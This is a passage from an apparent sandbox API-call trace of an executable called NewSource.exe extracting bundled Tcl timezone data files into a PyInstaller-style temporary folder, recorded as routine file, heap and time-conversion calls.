"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.775] GetFileType (hFile=0x10c) returned 0x1 [0043.775] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.775] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.775] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.775] CloseHandle (hObject=0x10c) returned 1 [0043.775] GetLastError () returned 0x0 [0043.775] SetLastError (dwErrCode=0x0) [0043.775] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific-New") returned 71 [0043.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific-New" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\pacific-new"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.776] GetLastError () returned 0x2 [0043.776] SetLastError (dwErrCode=0x2) [0043.776] GetLastError () returned 0x2 [0043.776] SetLastError (dwErrCode=0x2) [0043.776] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific-New", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific-New", lpFilePart=0x0) returned 0x46 [0043.776] GetLastError () returned 0x2 [0043.776] SetLastError (dwErrCode=0x2) [0043.776] GetLastError () returned 0x2 [0043.776] SetLastError (dwErrCode=0x2) [0043.776] GetLastError () returned 0x2 [0043.776] SetLastError (dwErrCode=0x2) [0043.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific-New") returned 71 [0043.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific-New" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\pacific-new"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.776] GetFileType (hFile=0x10c) returned 0x1 [0043.776] htonl (hostlong=0xc3000000) returned 0xc3 [0043.776] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.776] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xc3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xc3, lpOverlapped=0x0) returned 1 [0043.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.777] CloseHandle (hObject=0x10c) returned 1 [0043.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.777] htonl (hostlong=0x30000000) returned 0x30 [0043.777] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.777] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.777] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.778] GetFileType (hFile=0x10c) returned 0x1 [0043.778] htonl (hostlong=0xce395d00) returned 0x5d39ce [0043.778] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e9ce, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.778] htonl (hostlong=0x8a000000) returned 0x8a [0043.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0043.778] htonl (hostlong=0x8a000000) returned 0x8a [0043.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.778] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.778] htonl (hostlong=0xb7000000) returned 0xb7 [0043.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7) returned 0x560cb0 [0043.778] htonl (hostlong=0x8a000000) returned 0x8a [0043.778] htonl (hostlong=0xb7000000) returned 0xb7 [0043.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.778] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.778] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.778] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.778] CloseHandle (hObject=0x10c) returned 1 [0043.778] GetLastError () returned 0x0 [0043.778] SetLastError (dwErrCode=0x0) [0043.778] GetLastError () returned 0x0 [0043.778] SetLastError (dwErrCode=0x0) [0043.778] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.778] GetFileType (hFile=0x10c) returned 0x1 [0043.779] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.779] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.779] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.779] CloseHandle (hObject=0x10c) returned 1 [0043.779] GetLastError () returned 0x0 [0043.779] SetLastError (dwErrCode=0x0) [0043.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.779] GetFileType (hFile=0x10c) returned 0x1 [0043.779] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.779] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.779] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.779] CloseHandle (hObject=0x10c) returned 1 [0043.780] GetLastError () returned 0x0 [0043.780] SetLastError (dwErrCode=0x0) [0043.780] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.780] GetFileType (hFile=0x10c) returned 0x1 [0043.780] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.780] CloseHandle (hObject=0x10c) returned 1 [0043.780] GetLastError () returned 0x0 [0043.780] SetLastError (dwErrCode=0x0) [0043.780] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Samoa") returned 65 [0043.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Samoa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\samoa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.780] GetLastError () returned 0x2 [0043.780] SetLastError (dwErrCode=0x2) [0043.780] GetLastError () returned 0x2 [0043.780] SetLastError (dwErrCode=0x2) [0043.780] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Samoa", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Samoa", lpFilePart=0x0) returned 0x40 [0043.780] GetLastError () returned 0x2 [0043.781] SetLastError (dwErrCode=0x2) [0043.781] GetLastError () returned 0x2 [0043.781] SetLastError (dwErrCode=0x2) [0043.781] GetLastError () returned 0x2 [0043.781] SetLastError (dwErrCode=0x2) [0043.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Samoa") returned 65 [0043.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Samoa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\samoa"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.781] GetFileType (hFile=0x10c) returned 0x1 [0043.781] htonl (hostlong=0xb7000000) returned 0xb7 [0043.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.781] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb7, lpOverlapped=0x0) returned 1 [0043.782] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.782] CloseHandle (hObject=0x10c) returned 1 [0043.782] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560cb0 | out: hHeap=0x530000) returned 1 [0043.782] htonl (hostlong=0x30000000) returned 0x30 [0043.782] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.782] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.782] GetFileType (hFile=0x10c) returned 0x1 [0043.782] htonl (hostlong=0x583a5d00) returned 0x5d3a58 [0043.782] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61ea58, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.782] htonl (hostlong=0x7d000000) returned 0x7d [0043.782] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7d) returned 0x55cfe0 [0043.782] htonl (hostlong=0x7d000000) returned 0x7d [0043.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.783] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.783] htonl (hostlong=0x94000000) returned 0x94 [0043.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x550600 [0043.783] htonl (hostlong=0x7d000000) returned 0x7d [0043.783] htonl (hostlong=0x94000000) returned 0x94 [0043.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.783] CloseHandle (hObject=0x10c) returned 1 [0043.783] GetLastError () returned 0x0 [0043.783] SetLastError (dwErrCode=0x0) [0043.783] GetLastError () returned 0x0 [0043.783] SetLastError (dwErrCode=0x0) [0043.783] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.783] GetFileType (hFile=0x10c) returned 0x1 [0043.783] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.783] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.783] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.783] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.783] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.783] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.783] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.783] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.783] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.784] CloseHandle (hObject=0x10c) returned 1 [0043.784] GetLastError () returned 0x0 [0043.784] SetLastError (dwErrCode=0x0) [0043.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.784] GetFileType (hFile=0x10c) returned 0x1 [0043.784] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.784] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.784] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.784] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.784] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.784] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.784] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.784] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.784] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.784] CloseHandle (hObject=0x10c) returned 1 [0043.784] GetLastError () returned 0x0 [0043.784] SetLastError (dwErrCode=0x0) [0043.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UTC") returned 60 [0043.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UTC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\utc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.784] GetLastError () returned 0x2 [0043.784] SetLastError (dwErrCode=0x2) [0043.784] GetLastError () returned 0x2 [0043.784] SetLastError (dwErrCode=0x2) [0043.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UTC", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UTC", lpFilePart=0x0) returned 0x3b [0043.784] GetLastError () returned 0x2 [0043.785] SetLastError (dwErrCode=0x2) [0043.785] GetLastError () returned 0x2 [0043.785] SetLastError (dwErrCode=0x2) [0043.785] GetLastError () returned 0x2 [0043.785] SetLastError (dwErrCode=0x2) [0043.785] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UTC") returned 60 [0043.785] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 